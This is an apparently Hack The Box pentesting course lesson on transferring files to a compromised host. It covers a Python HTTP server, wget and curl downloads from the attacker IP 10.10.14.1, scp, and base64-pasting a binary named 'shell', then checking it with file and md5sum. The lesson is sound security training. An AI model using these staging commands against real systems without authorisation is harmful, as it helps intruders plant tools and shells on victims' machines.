

Transferring Files

During any penetration testing exercise, it is likely that we will need to transfer files to the remote server, such as enumeration scripts or exploits, or transfer data back to our attack host. While tools like Metasploit with a Meterpreter shell allow us to use the `Upload` command to upload a file, we need to learn methods to transfer files with a standard reverse shell.

Using wget

There are many methods to accomplish this. One method is running a `Python HTTP server` on our machine and then using `wget` or `cURL` to download the file on the remote host. First, we go into the directory that contains the file we need to transfer and run a Python HTTP server in it:

```
MichaelLuka@htb[/htb]$ cd /tmp
MichaelLuka@htb[/htb]$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

Now that we have set up a listening server on our machine, we can download the file on the remote host that we have code execution on:

```
user@remotehost$ wget http://10.10.14.1:8000/linenum.sh

...SNIP...
Saving to: 'linenum.sh'

linenum.sh 100%[=====>] 144.86K  --.-KB/s    in 0.02s

2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337]
```

Note that we used our IP `10.10.14.1` and the port our Python server runs on `8000`. If the remote server does not have `wget`, we can use `cURL` to download the file:

```
user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

100 144k 100 144k 0 0 176k 0 --:--:-- --:--:-- --:--:-- 176k
```

Note that we used the `-o` flag to specify the output file name.

Using SCP

Another method to transfer files would be using `scp`, granted we have obtained ssh user credentials on the remote host. We can do so as follows:

```
MichaelLuka@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh

user@remotehost's password: *****
linenum.sh
```

Note that we specified the local file name after **scp**, and the remote directory will be saved to after the **:**.

Using Base64

In some cases, we may not be able to transfer the file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. In this type of situation, we can use a simple trick to **base64** encode the file into **base64** format, and then we can paste the **base64** string on the remote server and decode it. For example, if we wanted to transfer a binary file called **shell**, we can **base64** encode it as follows:

```
MichaelLuka@htb[/htb]$ base64 shell -w 0

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU
```

Now, we can copy this **base64** string, go to the remote host, and use **base64 -d** to decode it, and pipe the output into a file:

```
user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
```

Validating File Transfers

To validate the format of a file, we can run the **file** command on it:

```
user@remotehost$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
```

As we can see, when we run the **file** command on the **shell** file, it says that it is an ELF binary, meaning that we successfully transferred it. To ensure that we did not mess up the file during the encoding/decoding process, we can check its md5 hash. On our machine, we can run **md5sum** on it:

```
MichaelLuka@htb[/htb]$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell
```

Now, we can go to the remote server and run the same command on the file we transferred:

```
user@remotehost$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell
```

As we can see, both files have the same md5 hash, meaning the file was transferred correctly. There are various other methods for transferring files. You can check out the [File Transfers](#) module for a more detailed study on transferring files.


[← Previous](#)[Next →](#)[✔ Mark Complete & Next](#) Cheat Sheet

Table of Contents

Introduction

Infosec Overview ✔

Setup


 Getting Started with a Pentest Distro ✔


Staying Organized ✔


Connecting Using VPN ✔


Pentesting Basics

Common Terms ✔


 Basic Tools ✔

 Service Scanning ✔

 Web Enumeration ✔

 Public Exploits ✔

Types of Shells ✔

 Privilege Escalation ✔


[Transferring Files](#) ✔


Getting Started with Hack The Box (HTB)

Starting Out

Navigating HTB

Attacking Your First Box

 Nibbles - Enumeration

 Nibbles - Web Footprinting

 Nibbles - Initial Foothold

 Nibbles - Privilege Escalation

Nibbles - Alternate User Method - Metasploit

Problem Solving

Common Pitfalls

Getting Help


What's Next?

Next Steps

 Knowledge Check

My Workstation

OFFLINE

 Start Instance

1 / 1 spawns left